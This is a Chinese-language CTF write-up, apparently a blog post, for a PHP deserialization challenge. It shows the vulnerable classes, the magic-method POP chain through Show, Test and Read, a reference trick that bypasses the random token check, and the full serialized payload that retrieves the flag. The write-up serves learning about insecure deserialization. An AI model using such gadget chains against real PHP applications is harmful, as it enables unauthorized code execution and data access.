第一次做php反序列化的题
河北师大一个题,原题好像是国赛的题
f12给了php代码,拿出来分析一下
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
入口在一个chal参数,未过滤直接进行反序列化。
先看看代码
Read是出flag的类,需要通过一次验证,但是是随机数(不过只有1到10000,说不定可以爆破
搜了一下,这里可以通过引用来绕过$token=&$token_flag
这里出flag的语句在_invoke()里,这是个魔法函数,在把对象当作函数执行的时候,调用这个函数
再看Show类,主要是一个waf黑名单过滤,别的地方没看懂在干什么
Test类,发现了_get()类里存在动态函数调用,并且函数名可控,这里可以输出phpinfo等信息。
结合Read类,可以通过这里调用Read函数实现对Read类中的_invoke()函数的调用。
_get()函数在外部访问了不可访问的变量时调用,比如访问私有变量/未定义变量
最后是一个可控参数。
结合上面的分析,要出flag就要执行_invoke(),要执行_invoke()就要执行_get(),要执行_get()就要实现对未定义变量的访问(因为这里没有私有变量
现在再看Show类中没看懂的地方第一个输出source,第二个访问了$this->str['str']->source,这里最终访问了source,结合上面信息,要实现访问未定义变量,而Test类里无source变量,而这里的str['str']也是一个可控变量,因此构造payload
$r=new Read();
$r->token = &$r->token_flag;
$t=new Test();
$t->params=$r;
$s=new Show();
$s->str['str']=$t;
$s->source=$s;
echo $a=serialize($s);
得到序列化的结果
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":3:{s:3:"var";N;s:5:"token";s:32:"9ec0cfdc84044494e10582436e013e64";s:10:"token_flag";R:7;}}}}
提交为chal参数直接得到flag
网友评论